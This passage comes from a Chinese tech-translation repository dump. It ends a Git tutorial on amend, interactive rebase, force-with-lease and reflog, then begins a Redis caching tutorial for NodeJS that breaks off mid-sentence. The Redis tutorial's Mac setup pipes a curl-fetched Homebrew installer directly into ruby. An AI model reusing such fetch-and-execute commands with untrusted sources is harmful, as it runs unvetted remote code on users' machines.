命令修正我们刚做的提交。\n\n从根本上来说，修正最近一次提交就像是重做了一次新的提交。\n\n在开始之前，使用 `git show {COMMIT}` 命令查看你的最近一次提交。可以使用缓存里已有的 `{COMMIT}`（你也许还能再从命令行 `git commit` 里看到，或者通过 `git log` 命令看到），或者直接用 **HEAD**（译者注：`git show HEAD`）。\n\n就像在 `git log` 命令里一样，你将看到提交信息，作者、日期和修改记录信息。\n\n现在让我们`修正`在提交里所做的一切。\n\n使用 `git add Bob.txt` 往**暂存区域**里添加修改，然后执行 `git commit --amend` 命令。\n\n接下来你最近的一次提交会被展开，**暂存区域**里的新变更会被添加到接下来的一个提交里，填写提交信息的编辑器会打开。\n\n在编辑器里你将看到先前的提交信息。\n\n随意填写修改成更好的提交信息。\n\n操作完成后，使用 `git show HEAD` 命令再看看最近的这次提交。\n\n就像你期望的一样，提交的缓存记录有变化。先前的提交不见了，取而代之的是一个结合了新变更的新提交。\n\n> 请注意相比于之前的提交，诸如作者（author）和日期（date）这样的提交数据并没有发生变化。你可能会混淆这些信息，如果你愿意，可以在修正的时候使用额外的 `--author={AUTHOR}` 和 `--date={DATE}` 参数进行修改。\n\n恭喜！你已经成功地完成了第一次重写历史记录的操作！\n\n### 交互式变基（Rebase）\n\n通常当我们使用 `git rebase` 命令时，我们是在分支上`变基`的。比如我们使用 `git rebase origin/master` 做某些操作，实际上发生的事，是我们在分支的 **HEAD** 上做了变基操作。\n\n事实上只要我们喜欢，可以在任何提交上使用`变基`命令。\n\n> 请记住，提交包含了有关它前面的历史记录信息。\n\n和很多其他命令一样，`git rebase` 命令有一种**交互**模式。\n\n和大多数命令不一样的地方在于，你可能会使用很多次**交互式**`变基`命令，因为它可以让你根据需要任意次数地更改历史记录。\n\n特别是你在当前工作流的变更中做了很多细小的提交，且这些提交很容易让你犯错从而导致返工的时候，**交互式**`变基`将会成为你的利器。\n\n**说得够多了！来点实际操作！**\n\n切回到 **master** 分支上，然后使用 `git checkout` 命令切出一个新的工作分支。\n\n和之前一样，我们将在 `Alice.txt` 和 `Bob.txt` 文件里做一些修改，然后执行 `git add Alice.txt` 命令。\n\n然后在执行 `git commit` 命令时填写像 “向 Alice 里添加内容” 这样的信息\n\n现在不去修改提交，我们还将执行 `git add Bob.txt` 和 `git commit` 命令。提交信息写的是“添加 Bob.txt 文件”。\n\n为了让例子更有意思，我们再在 `Alice.txt` 上做修改，然后执行 `git add` 和 `git commit` 命令。提交信息填写的是“向 Alice 文件里添加更多内容”。\n\n如果我们现在使用 `git log` 命令查看分支的历史记录（或者只是优先使用 `git log --oneline` 命令快速看一下），我们将看到刚才的三个提交在你 **master** 分支的任何内容之上。\n\n内容看起来会是这样：\n\n```\ngit log --oneline\n0b22064 (HEAD -> interactiveRebase) Add more text to Alice\n062ef13 Add Bob.txt\n9e06fca Add text to Alice\ndf3ad1d (origin/master, origin/HEAD, master) Add Alice\n800a947 Add Tutorial Text\n```\n\n关于这一点，我们有两件事需要解决，为了学习不同的东西，解决方案有别于之前 `amend（修正）` 章节的内容。\n\n* 把关于 `Alice.txt` 文件相关的所有变更包含在单个提交里\n* 统一命名规范，从关于 `Bob.txt` 的提交信息里移除 **.txt**\n\n为了改变这三次新提交，我们希望变基到这三次提交之前的地方。提交 id 是 `df3ad1d`，或者我们也可以从当前 **HEAD** 处使用 `HEAD~3` 引用达到相同目的。\n\n我们使用 `git rebase -i {COMMIT}` 开始**交互式**`变基（rebase）`，即运行 `git rebase -i HEAD~3` 命令。\n\n你将在你的编辑器里看到一些像这样的选择信息：\n\n```\npick 9e06fca Add text to Alice\npick 062ef13 Add Bob.txt\npick 0b22064 Add more text to Alice\n# Rebase df3ad1d..0b22064 onto df3ad1d (3 commands)\n#\n# Commands:\n# p, pick = use commit\n# r, reword = use commit, but edit the commit message\n# e, edit = use commit, but stop for amending\n# s, squash = use commit, but meld into previous commit\n# f, fixup = like \"squash\", but discard this commit's log message\n# x, exec = run command (the rest of the line) using shell\n# d, drop = remove commit\n#\n# These lines can be re-ordered; they are executed from top to bottom.\n#\n# If you remove a line here THAT COMMIT WILL BE LOST.\n#\n# However, if you remove everything, the rebase will be aborted.\n#\n# Note that empty commits are commented out\n```\n\n还是注意你在调用命令时， `git` 是如何解释你能做的任何事情。\n\n你最有可能使用的 **Commands** 命令将会是 `reword`、`squash` 和 `drop`（还有 `pick`，但这个是默认的）。\n\n花点时间分析你所看到的，并考虑我们可以使用上面什么内容达成我们的两个目的。我等你。\n\n有对策了？非常棒！\n\n在我们开始做修改之前，留意一件事实，即提交的记录是从最旧的到最新的罗列，而 `git log` 命令的输出则正好相反的。\n\n我将开始做一些简单的变更，然后针对一些中间的提交做一些提交信息的修改。\n\n```\npick 9e06fca Add text to Alice\nreword 062ef13 Add Bob.txt\npick 0b22064 Add more text to Alice\n# Rebase df3ad1d..0b22064 onto df3ad1d (3 commands)\n[...]\n```\n\n现在把关于 `Alice.txt` 文件相关的两个变更并入到一个提交里。\n\n很显然的是我们想把后一个变更的内容 `squash（压缩）`到前一个里面去，因此让我们把这个命令放在改变 `Alice.txt` 的第二次提交的 `pick` 上。在这个例子上是 **0b22064**。\n\n```\npick 9e06fca Add text to Alice\nreword 062ef13 Add Bob.txt\nsquash 0b22064 Add more text to Alice\n# Rebase df3ad1d..0b22064 onto df3ad1d (3 commands)\n[...]\n```\n\n我们操作结束了吗？像刚才那样做能得到我们想要的吗？\n\n不能对吧？就像文件里注解告诉我们的一样：\n\n```\n# s, squash = use commit, but meld into previous commit\n```\n\n所以就我们目前所做的，将会合并 Alice 文件的第二次变更提交和 Bob 文件的提交内容。然而这并不是我们想要的。\n\n我们在**交互式**`变基`里能做的另一项给力的事情是篡改提交的顺序。\n\n假如你有仔细阅读注解里的内容，你应该已经知道怎么做了：简单地移动行就行了。\n\n得利于你用了自己最喜欢的文档编辑器，你直接把关于 Alice 文件的第二次提交放置到第一次之后。\n\n```\npick 9e06fca Add text to Alice\nsquash 0b22064 Add more text to Alice\nreword 062ef13 Add Bob.txt\n# Rebase df3ad1d..0b22064 onto df3ad1d (3 commands)\n[...]\n```\n\n这些操作会有意想不到的效果，关闭编辑器通知 `git` 去开始执行这些命令。\n\n接下来发生的就像通常的`变基`命令一样：从启动时引用的提交开始，你所有罗列的每个提交都会一个一个被应用。\n\n> 现在它可能不会发生，但当你在 `rebase` 期间遇到冲突，重新排列实际代码变更时，它就有可能发生。毕竟你有可能会混淆已经建立在彼此间的变化。\n>\n> 就像你通常做的那样，[解决](#resolving-conflicts)它们就好了。\n\n在应用完第一次提交之后，编辑器将会打开便于你为合并修改到 `Alice.txt` 文件里填写一个新的提交信息。我移除了所有提交的文本然后填写上“给 Alice 文件添加很多非常重要的信息”。\n\n在你完成刚才那次提交关闭编辑器之后，编辑器会再次打开让你填写关于 `Add Bob.txt` 命令的变更信息。那么移除 “.txt” 内容然后关闭编辑器就好了。\n\n就这样！你已经重写了历史记录。而且这次比使用 `amend（修正）` 的时候更加稳固。\n\n如果你再运行一下 `git log` 命令，你将看到有两个新的提交替换了我们先前做的三个提交。但到目前为止，你因为习惯了`变基`命令提交的东西，所以应该已经料想到这些内容。\n\n```\ngit log --oneline\n105177b (HEAD -> interactiveRebase) Add Bob\ned78fa1 Add a lot very important text to Alice\ndf3ad1d (origin/master, origin/HEAD, master) Add Alice\n800a947 Add Tutorial Text\n```\n\n### 公共历史记录，为什么你不应该修改它，以及如何以安全的方式修改它\n\n如前所述，在工作时进行的涵盖了大小型提交操作的任何工作流里，变更历史记录都是非常有用的内容。\n\n虽然所有小的原子性修改让你很容易进行操作，比如验证每次你做的修改能否通过测试，假如不能，删除或者修改这些特定的更改就行，但你在 `HelloWorld.java` 文件里做的 100 次提交可能都不是你想要与他人分享的内容。\n\n你最可能想要与他们分享的情况是，你写了一些结构良好的变更，提交不错的描述消息告诉你的同事你为什么这么做以及做了什么。\n\n只要这些小的提交都只存在于你的 **开发环境** 中，你就完全可以执行 `git rebase -i` 把历史记录变更到你的主内容里。\n\n当改变**公共历史记录**时会出现问题。因为它意味着变更任何已经进入到**远程仓库**的东西。\n\n基于这点，把公共历史记录变成 `public` 的，而其他人的分支都是基于这个公共的记录。通常这样就不会让你混淆它们。\n\n通常的建议是“绝不改写公共历史记录！”，而且我在这里重申一遍，但不得不承认，仍然有一些合理的场景里需要去重写**公共历史记录**。\n\n然而这些合理场合里的历史记录并不是“真正的”**公共**记录。你肯定不会想着去改写开源仓库里 **master** 分支上的记录，或者你公司**发布版本**分支的内容。\n\n你想要修改的是那些你已经 `push（推送）` 了，并且分享给其他同事的分支的记录。\n\n你可能正在进行基于主干的开发，但想分享一些甚至还没有编译的东西，所以你显然不想故意将它放在主分支上。\n\n或者你可能有一个工作流程，用在你的分享特性分支里。\n\n特别是对于功能分支，你希望经常把它们`变基`到当前`主干`分支上。但正如我们所知，`git rebase` 命令会将我们分支的提交作为**新的**提交放到我们基于的分支上。这就改写了历史记录。而且在共享特性分支的情况下，它会改写**公共历史记录**。\n\n因此如果要遵循“绝不重写公共历史记录”的口号我们该怎么做？\n\n从开始到最后都不变基分支，还希望它能最后合并进**主干**分支？\n\n还是不再使用共享的特性分支？\n\n诚然第二个确实是一个比较合理的回答，但你仍然有可能做不到那样。因此你唯一能做的是，接受重写**公共历史记录**，然后把变更记录`推送`到**远端仓库**。\n\n如果你仅仅使用 `git push` 命令会发现你不被允许这样做，因为你的**本地**分支已经和**远程**分支是分离的。\n\n你将需要使用 `force（强制）` 推送变更，并且使用本地的版本重写远端的内容。\n\n基于我已经特别的暗示说明，你现在可能准备尝试执行 `git push --force` 命令。但如果你想要安全地改写**公共历史记录**的话，你真的不应该这样做。\n\n使用 `--force` 更谨慎的兄弟命令 `--force-with-lease`，会好很多！\n\n`--force-with-lease` 命令将在推送之前检查你的**本地**版本的**远程**分支和实际**远程**分支的内容匹配。\n\n通过这种方式，你可以确保在重写历史记录时不会意外擦除其他人可能的推送的任何变更信息！\n\n[![What happens in a push --force-with-lease](https://res.cloudinary.com/practicaldev/image/fetch/s--K0b0QO_X--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/force_push.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--K0b0QO_X--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/force_push.png)\n\n基于这里提及的内容，我将给你一个稍微变化了的口号：\n\n**除非你真的明确你所做的操作，否则不要重写公共历史记录。假如你要这么做，也要使用 force-with-lease 的安全模式重写。**\n\n## 阅读历史记录\n\n在了解**开发环境** —— 尤其是**本地仓库**中区域之间的提交和历史记录工作方式差异后，你应该不会再害怕执行`变基`操作了。\n\n但仍有些时候会出问题。你很可能做了一次`变基`操作后意外地发现当你解决一个冲突的时候得到了一个错误版本的文件。\n\n现在，文件里只有你同事添加的日志记录，而没有你添加的功能。\n\n幸好 `git` 为你留了后路，它内置一个安全的功能，叫做**参考日志**又称 `reflog`。\n\n每当在**本地仓库**中更新任何类似分支末端的引用时，都会添加引用日志条目。\n\n所以不仅存在着你任何时候`提交`的记录，而且还记录了你什么时候执行 `reset` 或者切换到 `HEAD` 节点等信息。\n\n教程读到这里，你已经知道当我们弄混了一个`变基`的时候，该如何很好的使用上述信息处理问题，对吗？\n\n我们知道，一个`变基`将我们分支的 `HEAD` 移动到我们基于它的点，并应用我们的更改。 交互式`变基`的工作方式类似，但可能会对诸如**压缩**或**重写**它们之类的提交做些事情。\n\n如果你现在不在我们练习[交互式变基](#interactive-rebase)内容时的分支上，再次切换过去，我们将做更多的练习。\n\n让我们看下在这个分支上所作的`参考日志（reflog）` —— 你可能猜到了 —— 执行 `git reflog` 命令。\n\n你可能会看到很多输出，但顶部的几行内容也行会像下面这样：\n\n```\ngit reflog\n105177b (HEAD -> interactiveRebase) HEAD@{0}: rebase -i (finish): returning to refs/heads/interactiveRebase\n105177b (HEAD -> interactiveRebase) HEAD@{1}: rebase -i (reword): Add Bob\ned78fa1 HEAD@{2}: rebase -i (squash): Add a lot very important text to Alice\n9e06fca HEAD@{3}: rebase -i (start): checkout HEAD~3\n0b22064 HEAD@{4}: commit: Add more text to Alice\n062ef13 HEAD@{5}: commit: Add Bob.txt\n9e06fca HEAD@{6}: commit: Add text to Alice\ndf3ad1d (origin/master, origin/HEAD, master) HEAD@{7}: checkout: moving from master to interactiveRebase\n```\n\n这里就可以看到，我们所作的每个单一的操作，从切换分支到执行`变基`都记录在案。\n\n很高兴能看到我们已完成的事情，因为它自己（reflog）是每行以引用作为开头的，不然我们搞砸了某些地方就都没用了。\n\n当我们比较`reflog（参考日志）`和之前看到的`log（日志）`命令输出时，你会发现`参考日志`的那些记录关联的是提交引用，我们同样可以像之前`日志`中那样使用它们。\n\n假设我们真的不想执行变基操作。我们如何解除已经作出的变更呢？\n\n使用 `git reset 0b22064` 命令将 `HEAD` 移置`变基`开始之前。\n\n> 在这个例子里 `0b22064` 是早于`变基`的提交。更通常的说法是，也可以通过 `HEAD{4}` 将它作为 **HEAD 四次变化前**的引用。请注意，如果你在此其间切换了分支或执行了创建日志条目的任何其他操作，那么你可能会需要更高的数字。\n\n如果你再执行`日志`命令查看，你将看到恢复了三次单独提交内容的原始状态。\n\n我们发现现在的内容不是我们想要的。`变基`操作的内容挺好的，我们只是不想要改变了 Bob 文件信息的提交。\n\n我们可以在当前状态上执行另一个 `rebase -i` 命令，就像先前做的那样。\n\n或者我们可以借助`参考日志`跳回到变基之后，然后从那里使用 `amend` 修正提交。\n\n至此两种方法你都知道怎么做了，所以我会让你自己亲自试一试。此外你还应该知道借助 `reflog` 命令可以让你在犯了错误之后回退很多内容。\n\n欢迎继续阅读本系列其他文章：\n\n- [Git：透过命令学概念 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-1.md)\n- [Git：透过命令学概念 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-2.md)\n- [Git：透过命令学概念 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-3.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learn-to-cache-your-nodejs-application-with-redis-in-6-minutes.md",
    "content": "> * 原文地址：[Learn to Cache your NodeJS Application with Redis in 6 Minutes!](https://itnext.io/learn-to-cache-your-nodejs-application-with-redis-in-6-minutes-745a574a9739)\n> * 原文作者：[Abdullah Amin](https://medium.com/@abdamin)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learn-to-cache-your-nodejs-application-with-redis-in-6-minutes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-to-cache-your-nodejs-application-with-redis-in-6-minutes.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[lsvih](https://github.com/lsvih)，[GPH](https://github.com/PingHGao)\n\n# 用 6 分钟学习如何用 Redis 缓存您的 NodeJS 应用！\n\n![](https://cdn-images-1.medium.com/max/4800/1*4DX0Dj0zI2q4MnqeO_Bfbg.png)\n\n缓存您的 web 应用非常重要，并且在应用扩展时缓存可以提高系统性能。Redis 可以是一个 **搜索引擎**，可以用最小的延迟来响应频繁查询的请求；可以是一个**短链接生成器**，可以更快地重定向到经常访问的 URL；可以是一个**社交网络**，可以更快地得到红人的用户资料。还可以是一个非常简单的从第三方 web API 请求数据的 web 服务器，它在项目扩展和缓存数据的情况下，表现是相当出色的！\n\n## 什么是 Redis？为什么要用 Redis？\n\n**Redis** 是一个高性能的开源 **NoSQL** 数据库，主要是被用作各种类型的应用的缓存解决方案。它将所有数据存储在 RAM 中，并提供高度优化的数据读写。Redis 还支持许多不同的数据类型和基于很多不同编程语言的客户端。您可以在[这里](https://redis.io/topics/introduction)找到更多关于 **Redis** 的信息。\n\n## 概述\n\n今天，我们将在 **NodeJS** web 应用上实现基本的缓存机制，我们的 web 应用将会从 **[Star Wars API](https://swapi.co)** 请求**星球大战的星际飞船信息**。我们将学习如何将频繁请求的星际飞船数据存储到我们的缓存中。之后我们 web 服务器的请求将首先搜索缓存，如果缓存不包含我们请求的数据，再向 [**Star Wars API**](https://swapi.co) 发送请求。这将使我们向第三方 API 发送更少的请求，从而总体上加快了我们应用的速度。为确保我们的缓存是最新的，缓存的数据将被设置生存时间（TTL），数据在一定时间后过期。听起来是不是很有意思？让我们开始吧！\n\n## 安装 Redis\n\n如果您已经在本地机器上安装了 Redis，或者正在使用 Redis 云托管解决方案，就可以跳过这一步。\n\n#### 在 Mac 上安装\n\n在 Mac 上 可以使用 **Homebrew** 来安装 Redis。如果您的 Mac 上没有安装 Homebrew，您可以在终端上运行以下命令来安装它。\n\n```bash\n/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"\n```\n\n现在，您可以通过在终端上运行以下命令来安装 Redis。\n\n```bash\nbrew install redis\n```\n\n#### 在 Ubuntu 上安装\n\n您可以使用这个[简易指南](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)在您的 Ubuntu 机器上安装 Redis。\n\n#### 在 Windows 上安装\n\n您可以使用这个[简易指南](https://redislabs.com/blog/redis-on-windows-8-1-and-previous-versions/)在您的 Windows 机器上安装 Redis。\n\n## 启动 Redis 服务端 和 Redis CLI 客户端\n\n在您的终端上，您可以运行以下命令在本地启动您的 Redis 服务端。\n\n```bash\nredis-server\n```\n\n![启动 Redis 服务端](https://cdn-images-1.medium.com/max/4866/1*X8YnTE55NZbp-V7ER4iKLw.png)\n\n要使用 Redis CLI 客户端，您可以新建一个终端窗口或者终端选项卡后，运行以下命令。\n\n```bash\nredis-cli\n```\n\n![Redis CLI](https://cdn-images-1.medium.com/max/2874/1*lPYgPudVRWd1HoJA5khQsQ.png)\n\n就像在您的机器上安装的任何其他数据库解决方案一样，您可以使用 Redis 的 CLI 与它进行交互。关于 [Redis CLI](https://redis.io/topics/rediscli) 我推荐看它的官方指南。但是，在这里我们只关注于将 Redis 用于我们的 NodeJS web 应用的缓存解决方案，并只通过我们的 web 服务器与它进行交互。\n\n## NodeJS 项目安装\n\n在一个单独的文件夹中，运行 **npm init**  来构建您的 NodeJS 项目。\n\n![使用 **npm init** 来构建 NodeJS 应用](https://cdn-images-1.medium.com/max/3728/1*sVU5v2M6FEOMd9LtLaMoOQ.png)\n\n#### 项目依赖\n\n我们将在 NodeJS 应用中使用一系列的依赖项。在您的项目目录下的终端中运行以下命令。\n\n```bash\nnpm i express redis axios\n```\n\n**Express** 将帮助我们设置服务器。我们将使用 **redis** 包来将我们的应用与在我们机器上本地运行的 Redis 服务端相连，我们还将使用 **axios** 向 [**Star Wars API**](https://swapi.co) 请求数据。\n\n#### 开发依赖\n\n我们还将使用 **nodemon** 作为我们的 **开发依赖** 从而能够在项目代码更改保存后立即运行到我们的服务器而不必重新启动它（译者注：也就是热更新）。在我们的项目目录的终端中运行以下命令。\n\n```bash\nnpm i -D nodemon\n```\n\n#### 在 package.json 中设置启动脚本\n\n用以下脚本替换 **package.json** 中的现有脚本，以便我们可以使用 **nodemon** 运行服务器。\n\n```\n\"start\": \"nodemon index\"\n```\n\n```JSON\n{\n  \"name\": \"redis-node-tutorial\",\n  \"version\": \"1.0.0\",\n  \"description\": \"A step by step guide to setup caching with Redis on a NodeJS Web Application\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"start\": \"nodemon index\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/abdamin/redis-node-tutorial.git\"\n  },\n  \"author\": \"Abdullah Amin\",\n  \"license\": \"ISC\",\n  \"bugs\": {\n    \"url\": \"https://github.com/abdamin/redis-node-tutorial/issues\"\n  },\n  \"homepage\": \"https://github.com/abdamin/redis-node-tutorial#readme\",\n  \"dependencies\": {\n    \"axios\": \"^0.19.0\",\n    \"express\": \"^4.17.1\",\n    \"redis\": \"^2.8.0\"\n  },\n  \"devDependencies\": {\n    \"nodemon\": \"^1.19.4\"\n  }\n}\n\n```\n\n#### 设置我们的初始服务器的入口文件：index.js\n\n在我们的项目目录的终端中运行以下命令来创建 **index.js** 文件。\n\n```bash\ntouch index.js\n```\n\n下面是 **index.js** 文件添加了一些代码后的样子。\n\n```JavaScript\n//设置依赖\nconst express = require(\"express\");\nconst redis = require(\"redis\");\nconst axios = require(\"axios\");\nconst bodyParser = require(\"body-parser\");\n\n//设置端口常量\nconst port_redis = process.env.PORT || 6379;\nconst port = process.env.PORT || 5000;\n\n//配置 Redis 客户端使用 6379 端口\nconst redis_client = redis.createClient(port_redis);\n\n//配置 express 服务器\nconst app = express();\n\n//Body 解析中间件\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(bodyParser.json());\n\n//监听 5000 端口\napp.listen(port, () => console.log(`Server running on Port ${port}`));\n```\n\n如果您以前使用过 **NodeJS** 和 **ExpressJS**，那么这应该难不倒您。首先，我们设置之前使用 npm 安装的依赖项。接着，我们设置端口常量并创建我们的 Redis 客户端。最后，我们在**6379 端口** 上配置我们的 Redis 客户端，在 **5000 端口**上配置我们的 Express 服务器。我们还在服务器上设置了 **Body-Parser**，来解析 JSON 数据。您可以在终端中运行以下命令来使用 **package.json** 中的启动脚本运行 web 服务器。\n\n```bash\nnpm start\n```\n\n**注意**，如前所述，我们的 Redis 服务端应该运行在另一个终端上，以便成功地将我们的NodeJS 应用连接到 Redis。\n\n您现在应该能够在终端上看到以下输出，它表明您的 web 服务器正在 **5000 端口** 上运行。\n\n![](https://cdn-images-1.medium.com/max/2876/1*1W6F-j0EtdYKDrgJj4hjHg.png)\n\n## 发送请求到 Star Wars API\n\n现在我们已经完成了我们的项目设置，让我们编写一些代码来发送一个 **GET** 请求到  **Star Wars API** 来获得星际飞船的数据。\n\n注意，我们将向 **[https://swapi.co/api/starships/](https://swapi.co/api/starships/${id}):id** 发送一个 GET 请求来获取与 URL 中的标识符 **id** 相对应的星际飞船的数据。\n\n下面是后端代码的样子。\n\n```js\n// 请求路由： GET /starships/:id\n\n// @desc 返回特定 id 星际飞船的飞船数据\napp.get(\"/starships/:id\", async (req, res) => {\n  try {\n       const { id } = req.params;\n       const starShipInfo = await axios.get(\n       `https://swapi.co/api/starships/${id}`\n       );\n       //从响应中获取数据\n       const starShipInfoData = starShipInfo.data;\n       return res.json(starShipInfoData);\n  } \n  catch (error) {\n       console.log(error);\n       return res.status(500).json(error);\n   }\n});\n```\n\n我们将使用一个带有 try 和 catch 块的传统**异步**回调函数和 **axios** 向 **Star Wars API** 发出 GET 请求。如果成功，我们的请求路由将返回与 URL 中 id 对应的星际飞船数据。否则，我们的请求将返回一个错误。这很简单吧。\n\n```JavaScript\n//设置依赖\nconst express = require(\"express\");\nconst redis = require(\"redis\");\nconst axios = require(\"axios\");\nconst bodyParser = require(\"body-parser\");\n\n//设置端口常量\nconst port_redis = process.env.PORT || 6379;\nconst port = process.env.PORT || 5000;\n\n//配置 Redis 客户端使用 6379 端口\nconst redis_client = redis.createClient(port_redis);\n\n//配置 express 服务器\nconst app = express();\n\n//Body 解析中间件\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(bodyParser.json());\n\n//  请求路由： GET /starships/:id\n//  @desc 返回特定 id 星际飞船的飞船数据\napp.get(\"/starships/:id\", async (req, res) => {\n  try {\n    const { id } = req.params;\n    const starShipInfo = await axios.get(\n      `https://swapi.co/api/starships/${id}`\n    );\n\n    //从响应中获取数据\n    const starShipInfoData = starShipInfo.data;\n\n    return res.json(starShipInfoData);\n  } catch (error) {\n    console.log(error);\n    return res.status(500).json(error);\n  }\n});\n\napp.listen(port, () => console.log(`Server running on Port ${port}`));\n```\n\n让我们尝试通过运行我们的代码来搜索 **id=9** 的星际飞船。\n\n![http://localhost:5000/starships/9](https://cdn-images-1.medium.com/max/5684/1*8omThnreKe-2gQHS29U9Rw.png)\n\n哇！请求成功了。但是您注意到完成请求所花费的时间了吗? 您可以在浏览器的 Chrome 开发工具下检查网络选项卡来查看花费的时间。\n\n**769 ms。** 太慢了！这就是 **Redis** 的用武之地了。\n\n## 为服务实现 Redis 缓存 \n\n#### 添加到缓存\n\n由于Redis 将数据以键值对的形式进行储存，我们需要确保无论何时向 Star Wars API 发出请求并成功接收到响应，我们就马上将星际飞船的 id 与其数据一起存储在缓存中。\n\n为此，我们将添加以下代码到接收到的来自 Star Wars API 的响应的那段代码后。\n\n```js\n//向 Redis 增加数据\n\nredis_client.setex(id, 3600, JSON.stringify(starShipInfoData));\n```\n\n上面代码的意思是我们将 **key=id**、**expiration=3600s**、**value=JSON 字符串格式化后的星际飞船数据**添加到缓存中。现在我们的 **index.js** 是这个样子。\n\n```JavaScript\n//设置依赖\nconst express = require(\"express\");\nconst redis = require(\"redis\");\nconst axios = require(\"axios\");\nconst bodyParser = require(\"body-parser\");\n\n//设置端口常量\nconst port_redis = process.env.PORT || 6379;\nconst port = process.env.PORT || 5000;\n\n//配置 Redis 客户端使用 6379 端口\nconst redis_client = redis.createClient(port_redis);\n\n//配置 express 服务器\nconst app = express();\n\n//Body 解析中间件\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(bodyParser.json());\n\n//  请求路由： GET /starships/:id\n//  @desc 返回特定 id 星际飞船的飞船数据\napp.get(\"/starships/:id\", async (req, res) => {\n  try {\n    const { id } = req.params;\n    const starShipInfo = await axios.get(\n      `https://swapi.co/api/starships/${id}`\n    );\n\n    //从响应中获取数据\n    const starShipInfoData = starShipInfo.data;\n\n    //向 Redis 增加数据\n    redis_client.setex(id, 3600, JSON.stringify(starShipInfoData));\n\n    return res.json(starShipInfoData);\n  } catch (error) {\n    console.log(error);\n    return res.status(500).json(error);\n  }\n});\n\napp.listen(port, () => console.log(`Server running on Port ${port}`));\n```\n\n现在如果我们打开浏览器，对星际飞船发送 GET 请求，它的数据就会被添加到我们的 Redis 缓存中。\n\n![向 id 为 9 的星际飞船发送 GET 请求](https://cdn-images-1.medium.com/max/5760/1*0uTJdzOcDvPlEX7r3QumHw.png)\n\n如前所述，您可以使用以下命令从终端访问 Redis CLI 客户端。\n\n```bash\nredis-cli\n```\n\n![](https://cdn-images-1.medium.com/max/2884/1*fhmGALJ_lJ6WksnQ9fo1_A.png)\n\n运行命令 **get 9** 表明，**id=9**的星际飞船数据确实添加到了我们的缓存中！\n\n#### 从缓存中检查并检索数据\n\n现在，只有在缓存中不存在所需的数据时，我们才需要向 **Star Wars API** 发送 GET 请求。我们将使用 **Express 中间件**来实现这个函数，它在执行向 **Star Wars API** 的请求之前会检查缓存。它将作为**第二个参数**传递到我们之前写好的请求函数中。\n\n中间件函数如下所示。\n\n```js\n//用于检查缓存的中间件函数\ncheckCache = (req, res, next) => {\n       const { id } = req.params;\n       //得到 key = id 的数据\n       redis_client.get(id, (err, data) => {\n           if (err) {\n               console.log(err);\n               res.status(500).send(err);\n           }\n           //如果没有找到对应的数据\n           if (data != null) {\n               res.send(data);\n           } \n           else {\n               //继续下一个中间件函数\n               next();\n           }\n        });\n};\n```\n\n添加 checkCache 中间件函数后的 index.js：\n\n```JavaScript\n//设置依赖\nconst express = require(\"express\");\nconst redis = require(\"redis\");\nconst axios = require(\"axios\");\nconst bodyParser = require(\"body-parser\");\n\n//设置端口常量\nconst port_redis = process.env.PORT || 6379;\nconst port = process.env.PORT || 5000;\n\n//配置 Redis 客户端使用 6379 端口\nconst redis_client = redis.createClient(port_redis);\n\n//配置 express 服务器\nconst app = express();\n\n//Body 解析中间件\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(bodyParser.json());\n\n//用于检查缓存的中间件函数\ncheckCache = (req, res, next) => {\n  const { id } = req.params;\n\n  redis_client.get(id, (err, data) => {\n    if (err) {\n      console.log(err);\n      res.status(500).send(err);\n    }\n    //如果没有找到对应的数据\n    if (data != null) {\n      res.send(data);\n    } else {\n      //继续下一个中间件函数\n      next();\n    }\n  });\n};\n\n//  请求路由： GET /starships/:id\n//  @desc 返回特定 id 星际飞船的飞船数据\napp.get(\"/starships/:id\", checkCache, async (req, res) => {\n  try {\n    const { id } = req.params;\n    const starShipInfo = await axios.get(\n      `https://swapi.co/api/starships/${id}`\n    );\n\n    //从响应中获取数据\n    const starShipInfoData = starShipInfo.data;\n\n    //向 Redis 增加数据\n    redis_client.setex(id, 3600, JSON.stringify(starShipInfoData));\n\n    return res.json(starShipInfoData);\n  } catch (error) {\n    console.log(error);\n    return res.status(500).json(error);\n  }\n});\n\napp.listen(port, () => console.log(`Server running on Port ${port}`));\n```\n\n让我们再次发送一个 GET 请求向我们 **id=9** 